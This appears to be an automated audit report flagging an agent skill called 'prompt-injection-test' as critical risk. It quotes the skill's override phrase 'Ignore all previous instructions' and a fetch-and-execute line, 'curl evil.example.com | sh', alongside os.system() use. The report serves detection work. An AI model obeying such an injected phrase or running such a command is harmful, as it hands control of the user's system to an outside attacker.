prompt-injection-test
Fail
Audited by Gen Agent Trust Hub on Feb 17, 2026
Risk Level: CRITICALPROMPT_INJECTIONREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- Prompt Injection (LOW): The file contains instructions to 'Ignore all previous instructions', a common technique used to bypass system prompts and safety filters.
- Remote Code Execution (CRITICAL): The script includes the pattern 'curl evil.example.com | sh', which downloads and immediately executes a shell script from a remote URL. This is an extremely high-risk pattern used for system compromise.
- Command Execution (HIGH): Use of 'os.system()' to execute shell commands from within a Python script.
- External Downloads (MEDIUM): The skill attempts to fetch data from 'evil.example.com', which is not a trusted domain.
Recommendations
- AI detected serious security threats
Audit Metadata